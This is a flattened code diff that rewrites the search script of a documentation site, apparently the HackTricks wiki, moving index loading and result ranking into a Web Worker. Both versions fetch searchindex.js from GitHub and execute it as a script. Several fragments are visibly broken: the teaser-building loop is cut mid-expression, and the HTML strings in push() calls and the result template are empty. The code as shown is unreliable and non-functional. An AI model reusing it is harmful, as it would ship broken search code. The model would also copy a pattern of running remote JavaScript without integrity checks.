Math.min(weighted.length, results_options.teaser_word_count); - - var cur_sum = 0; - for (var wordindex = 0; wordindex < window_size; wordindex++) { - cur_sum += weighted[wordindex][1]; - }; - window_weight.push(cur_sum); - for (var wordindex = 0; wordindex < weighted.length - window_size; wordindex++) { - cur_sum -= weighted[wordindex][1]; - cur_sum += weighted[wordindex + window_size][1]; - window_weight.push(cur_sum); - }; - - if (searchterm_found) { - var max_sum = 0; - var max_sum_window_index = 0; - // backwards - for (var i = window_weight.length - 1; i >= 0; i--) { - if (window_weight[i] > max_sum) { - max_sum = window_weight[i]; - max_sum_window_index = i; - } - }; - } else { - max_sum_window_index = 0; - } - - // add around searchterms - var teaser_split = []; - var index = weighted[max_sum_window_index][2]; - for (var i = max_sum_window_index; i < max_sum_window_index+window_size; i++) { - var word = weighted[i]; - if (index < word[2]) { - // missing text from index to start of `word` - teaser_split.push(body.substring(index, word[2])); - index = word[2]; - } - if (word[1] == searchterm_weight) { - teaser_split.push("") - } - index = word[2] + word[0].length; - teaser_split.push(body.substring(word[2], index)); - if (word[1] == searchterm_weight) { - teaser_split.push("") - } - }; - - return teaser_split.join(''); - } - - function init(config) { - results_options = config.results_options; - search_options = config.search_options; - searchbar_outer = config.searchbar_outer; - doc_urls = config.doc_urls; - searchindex = elasticlunr.Index.load(config.index); - - // Set up events - searchicon.addEventListener('click', function(e) { searchIconClickHandler(); }, false); - search_wrap.addEventListener('click', function(e) { searchIconClickHandler(); }, false); - search_modal.addEventListener('click', function(e) { e.stopPropagation(); }, false); - searchbar.addEventListener('keyup', function(e) { searchbarKeyUpHandler(); }, false); - document.addEventListener('keydown', function(e) { globalKeyHandler(e); }, false); - // If the user uses the browser buttons, do the same as if a reload happened - window.onpopstate = function(e) { doSearchOrMarkFromUrl(); }; - // Suppress "submit" events so the page doesn't reload when the user presses Enter - document.addEventListener('submit', function(e) { e.preventDefault(); }, false); - - // If reloaded, do the search or mark again, depending on the current url parameters - doSearchOrMarkFromUrl(); - } - - function unfocusSearchbar() { - // hacky, but just focusing a div only works once - var tmp = document.createElement('input'); - tmp.setAttribute('style', 'position: absolute; opacity: 0;'); - searchicon.appendChild(tmp); - tmp.focus(); - tmp.remove(); - } - - // On reload or browser history backwards/forwards events, parse the url and do search or mark - function doSearchOrMarkFromUrl() { - // Check current URL for search request - var url = parseURL(window.location.href); - if (url.params.hasOwnProperty(URL_SEARCH_PARAM) - && url.params[URL_SEARCH_PARAM] != "") { - showSearch(true); - searchbar.value = decodeURIComponent( - (url.params[URL_SEARCH_PARAM]+'').replace(/\+/g, '%20')); - searchbarKeyUpHandler(); // -> doSearch() - } else { - showSearch(false); - } - - if (url.params.hasOwnProperty(URL_MARK_PARAM)) { - var words = decodeURIComponent(url.params[URL_MARK_PARAM]).split(' '); - marker.mark(words, { - exclude: mark_exclude - }); - - var markers = document.querySelectorAll("mark"); - function hide() { - for (var i = 0; i < markers.length; i++) { - markers[i].classList.add("fade-out"); - window.setTimeout(function(e) { marker.unmark(); }, 300); - } - } - for (var i = 0; i < markers.length; i++) { - markers[i].addEventListener('click', hide); - } - } - } - - // Eventhandler for keyevents on `document` - function globalKeyHandler(e) { - if (e.altKey || e.ctrlKey || e.metaKey || e.shiftKey || e.target.type === 'textarea' || e.target.type === 'text' || !hasFocus() && /^(?:input|select|textarea)$/i.test(e.target.nodeName)) { return; } - - if (e.keyCode === ESCAPE_KEYCODE) { - e.preventDefault(); - searchbar.classList.remove("active"); - setSearchUrlParameters("", - (searchbar.value.trim() !== "") ? "push" : "replace"); - if (hasFocus()) { - unfocusSearchbar(); - } - showSearch(false); - marker.unmark(); - } else if (!hasFocus() && e.keyCode === SEARCH_HOTKEY_KEYCODE) { - e.preventDefault(); - showSearch(true); - window.scrollTo(0, 0); - searchbar.select(); - } else if (hasFocus() && e.keyCode === DOWN_KEYCODE) { - e.preventDefault(); - unfocusSearchbar(); - searchresults.firstElementChild.classList.add("focus"); - } else if (!hasFocus() && (e.keyCode === DOWN_KEYCODE - || e.keyCode === UP_KEYCODE - || e.keyCode === SELECT_KEYCODE)) { - // not `:focus` because browser does annoying scrolling - var focused = searchresults.querySelector("li.focus"); - if (!focused) return; - e.preventDefault(); - if (e.keyCode === DOWN_KEYCODE) { - var next = focused.nextElementSibling; - if (next) { - focused.classList.remove("focus"); - next.classList.add("focus"); - } - } else if (e.keyCode === UP_KEYCODE) { - focused.classList.remove("focus"); - var prev = focused.previousElementSibling; - if (prev) { - prev.classList.add("focus"); - } else { - searchbar.select(); - } - } else { // SELECT_KEYCODE - window.location.assign(focused.querySelector('a')); - } - } - } - - function showSearch(yes) { - if (yes) { - search_wrap.classList.remove('hidden'); - searchicon.setAttribute('aria-expanded', 'true'); - } else { - search_wrap.classList.add('hidden'); - searchicon.setAttribute('aria-expanded', 'false'); - var results = searchresults.children; - for (var i = 0; i < results.length; i++) { - results[i].classList.remove("focus"); - } - } - } - - function showResults(yes) { - if (yes) { - searchresults_outer.classList.remove('hidden'); - } else { - searchresults_outer.classList.add('hidden'); - } - } - - // Eventhandler for search icon - function searchIconClickHandler() { - if (search_wrap.classList.contains('hidden')) { - showSearch(true); - window.scrollTo(0, 0); - searchbar.select(); - } else { - showSearch(false); - } - } - - // Eventhandler for keyevents while the searchbar is focused - function searchbarKeyUpHandler() { - var searchterm = searchbar.value.trim(); - if (searchterm != "") { - searchbar.classList.add("active"); - doSearch(searchterm); - } else { - searchbar.classList.remove("active"); - showResults(false); - removeChildren(searchresults); - } - - setSearchUrlParameters(searchterm, "push_if_new_search_else_replace"); - - // Remove marks - marker.unmark(); - } - - // Update current url with ?URL_SEARCH_PARAM= parameter, remove ?URL_MARK_PARAM and #heading-anchor . - // `action` can be one of "push", "replace", "push_if_new_search_else_replace" - // and replaces or pushes a new browser history item. - // "push_if_new_search_else_replace" pushes if there is no `?URL_SEARCH_PARAM=abc` yet. - function setSearchUrlParameters(searchterm, action) { - var url = parseURL(window.location.href); - var first_search = ! url.params.hasOwnProperty(URL_SEARCH_PARAM); - if (searchterm != "" || action == "push_if_new_search_else_replace") { - url.params[URL_SEARCH_PARAM] = searchterm; - delete url.params[URL_MARK_PARAM]; - url.hash = ""; - } else { - delete url.params[URL_MARK_PARAM]; - delete url.params[URL_SEARCH_PARAM]; - } - // A new search will also add a new history item, so the user can go back - // to the page prior to searching. A updated search term will only replace - // the url. - if (action == "push" || (action == "push_if_new_search_else_replace" && first_search) ) { - history.pushState({}, document.title, renderURL(url)); - } else if (action == "replace" || (action == "push_if_new_search_else_replace" && !first_search) ) { - history.replaceState({}, document.title, renderURL(url)); - } - } - - function doSearch(searchterm) { - - // Don't search the same twice - if (current_searchterm == searchterm) { return; } - else { current_searchterm = searchterm; } - - if (searchindex == null) { return; } - - // Do the actual search - var results = searchindex.search(searchterm, search_options); - var resultcount = Math.min(results.length, results_options.limit_results); - - // Display search metrics - searchresults_header.innerText = formatSearchMetric(resultcount, searchterm); - - // Clear and insert results - var searchterms = searchterm.split(' '); - removeChildren(searchresults); - for(var i = 0; i < resultcount ; i++){ - var resultElem = document.createElement('li'); - resultElem.innerHTML = formatSearchResult(results[i], searchterms); - searchresults.appendChild(resultElem); - } - - // Display results - showResults(true); - } - - (async function loadSearchIndex(lang = window.lang || "en") { - const branch = lang === "en" ? "master" : lang; - const rawUrl = - `https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/refs/heads/${branch}/searchindex.js`; - const localJs = "/searchindex.js"; - const TIMEOUT_MS = 10_000; - - const injectScript = (src) => - new Promise((resolve, reject) => { - const s = document.createElement("script"); - s.src = src; - s.onload = () => resolve(src); - s.onerror = (e) => reject(e); - document.head.appendChild(s); + if(!rawLoaded) return null; /* give up on this index */ + const data = { json:self.search.index, urls:self.search.doc_urls, cloud:isCloud }; + delete self.search.index; delete self.search.doc_urls; + return data; + } + + (async () => { + const MAIN_RAW = 'https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/refs/heads/master/searchindex.js'; + const CLOUD_RAW = 'https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/refs/heads/master/searchindex.js'; + + const indices = []; + const main = await loadIndex(MAIN_RAW , '/searchindex-book.js', false); if(main) indices.push(main); + const cloud= await loadIndex(CLOUD_RAW, '/searchindex.js', true ); if(cloud) indices.push(cloud); + + if(!indices.length){ postMessage({ready:false, error:'no-index'}); return; } + + /* build index objects */ + const built = indices.map(d => ({ + idx : elasticlunr.Index.load(d.json), + urls: d.urls, + cloud: d.cloud, + base: d.cloud ? 'https://cloud.hacktricks.wiki/' : '' + })); + + postMessage({ready:true}); + const MAX = 30, opts = {bool:'AND', expand:true}; + + self.onmessage = ({data:q}) => { + if(!q){ postMessage([]); return; } + + const all = []; + for(const s of built){ + const res = s.idx.search(q,opts); + if(!res.length) continue; + const max = res[0].score || 1; + res.forEach(r => { + const doc = s.idx.documentStore.getDoc(r.ref); + all.push({ + norm : r.score / max, + title: doc.title, + body : doc.body, + breadcrumbs: doc.breadcrumbs, + url : s.base + s.urls[r.ref], + cloud: s.cloud }); - - try { - /* 1 — download raw JS from GitHub */ - const controller = new AbortController(); - const timer = setTimeout(() => controller.abort(), TIMEOUT_MS); - - const res = await fetch(rawUrl, { signal: controller.signal }); - clearTimeout(timer); - if (!res.ok) throw new Error(`HTTP ${res.status}`); - - /* 2 — wrap in a Blob so the browser sees application/javascript */ - const code = await res.text(); - const blobUrl = URL.createObjectURL( - new Blob([code], { type: "application/javascript" }) - ); - - /* 3 — execute it */ - await injectScript(blobUrl); - - /* ───────────── PATCH ───────────── - heavy parsing now deferred to idle time - */ - requestIdleCallback(() => init(window.search)); - return; // ✔ UI remains responsive - } catch (eRemote) { - console.warn("Remote JS failed →", eRemote); - } - - /* ───────── fallback: local copy ───────── */ - try { - await injectScript(localJs); - - /* ───────────── PATCH ───────────── */ - requestIdleCallback(() => init(window.search)); - return; - } catch (eLocal) { - console.error("Local JS failed →", eLocal); - } - })(); - - // Exported functions - search.hasFocus = hasFocus; - })(window.search); \ No newline at end of file + }); + } + all.sort((a,b)=>b.norm-a.norm); + postMessage(all.slice(0,MAX)); + }; + })(); + `; + + /* ───────────── 2. spawn worker ───────────── */ + const worker = new Worker(URL.createObjectURL(new Blob([workerCode],{type:'application/javascript'}))); + + /* ───────────── 3. DOM refs ─────────────── */ + const wrap = document.getElementById('search-wrapper'); + const bar = document.getElementById('searchbar'); + const list = document.getElementById('searchresults'); + const listOut = document.getElementById('searchresults-outer'); + const header = document.getElementById('searchresults-header'); + const icon = document.getElementById('search-toggle'); + + const READY_ICON = icon.innerHTML; + icon.textContent = '⏳'; + icon.setAttribute('aria-label','Loading search …'); + + const HOT=83, ESC=27, DOWN=40, UP=38, ENTER=13; + let debounce, teaserCount=0; + + /* ───────────── helpers (teaser, metric) ───────────── */ + const escapeHTML = (()=>{const M={'&':'&','<':'<','>':'>','"':'"','\'':'''};return s=>s.replace(/[&<>'"]/g,c=>M[c]);})(); + const URL_MARK='highlight'; + function metric(c,t){return c?`${c} search result${c>1?'s':''} for '${t}':`:`No search results for '${t}'.`;} + + function makeTeaser(body,terms){ + const stem=w=>elasticlunr.stemmer(w.toLowerCase()); + const T=terms.map(stem),W_S=40,W_F=8,W_N=2,WIN=30; + const W=[],sents=body.toLowerCase().split('. '); + let i=0,v=W_F,found=false; + sents.forEach(s=>{v=W_F; s.split(' ').forEach(w=>{ if(w){ if(T.some(t=>stem(w).startsWith(t))){v=W_S;found=true;} W.push([w,v,i]); v=W_N;} i+=w.length+1; }); i++;}); + if(!W.length) return body; + const win=Math.min(W.length,WIN); + const sums=[W.slice(0,win).reduce((a,[,wt])=>a+wt,0)]; + for(let k=1;k<=W.length-win;k++) sums[k]=sums[k-1]-W[k-1][1]+W[k+win-1][1]; + const best=found?sums.lastIndexOf(Math.max(...sums)):0; + const out=[]; i=W[best][2]; + for(let k=best;k'); out.push(body.substr(pos,w.length)); if(wt===W_S) out.push(''); i=pos+w.length;} + return out.join(''); + } + + function format(d,terms){ + const teaser=makeTeaser(escapeHTML(d.body),terms); + teaserCount++; + const enc=encodeURIComponent(terms.join(' ')).replace(/'/g,'%27'); + const parts=d.url.split('#'); if(parts.length===1) parts.push(''); + const abs=d.url.startsWith('http'); + const href=`${abs?'':path_to_root}${parts[0]}?${URL_MARK}=${enc}#${parts[1]}`; + const style=d.cloud?" style=\"color:#1e88e5\"":""; + const isCloud=d.cloud?" [Cloud]":" [Book]"; + return ``+ + `${d.breadcrumbs}${isCloud}${teaser}`; + } + + /* ───────────── UI control ───────────── */ + function showUI(s){wrap.classList.toggle('hidden',!s); icon.setAttribute('aria-expanded',s); if(s){window.scrollTo(0,0); bar.focus(); bar.select();} else {listOut.classList.add('hidden'); [...list.children].forEach(li=>li.classList.remove('focus'));}} + function blur(){const t=document.createElement('input'); t.style.cssText='position:absolute;opacity:0;'; icon.appendChild(t); t.focus(); t.remove();} + + icon.addEventListener('click',()=>showUI(wrap.classList.contains('hidden'))); + + document.addEventListener('keydown',e=>{ + if(e.altKey||e.ctrlKey||e.metaKey||e.shiftKey) return; + const f=/^(?:input|select|textarea)$/i.test(e.target.nodeName); + if(e.keyCode===HOT && !f){e.preventDefault(); showUI(true);} else if(e.keyCode===ESC){e.preventDefault(); showUI(false); blur();} + else if(e.keyCode===DOWN && document.activeElement===bar){e.preventDefault(); const first=list.firstElementChild; if(first){blur(); first.classList.add('focus');}} + else if([DOWN,UP,ENTER].includes(e.keyCode) && document.activeElement!==bar){const cur=list.querySelector('li.focus'); if(!cur) return; e.preventDefault(); if(e.keyCode===DOWN){const nxt=cur.nextElementSibling; if(nxt){cur.classList.remove('focus'); nxt.classList.add('focus');}} else if(e.keyCode===UP){const prv=cur.previousElementSibling; cur.classList.remove('focus'); if(prv){prv.classList.add('focus');} else {bar.focus();}} else {const a=cur.querySelector('a'); if(a) window.location.assign(a.href);}} + }); + + bar.addEventListener('input',e=>{ clearTimeout(debounce); debounce=setTimeout(()=>worker.postMessage(e.target.value.trim()),120); }); + + /* ───────────── worker messages ───────────── */ + worker.onmessage = ({data}) => { + if(data && data.ready!==undefined){ + if(data.ready){ icon.innerHTML=READY_ICON; icon.setAttribute('aria-label','Open search (S)'); } + else { icon.textContent='❌'; icon.setAttribute('aria-label','Search unavailable'); } + return; + } + const docs=data, q=bar.value.trim(), terms=q.split(/\s+/).filter(Boolean); + header.textContent=metric(docs.length,q); + clear(list); + docs.forEach(d=>{const li=document.createElement('li'); li.innerHTML=format(d,terms); list.appendChild(li);}); + listOut.classList.toggle('hidden',!docs.length); + }; + })(); + \ No newline at end of file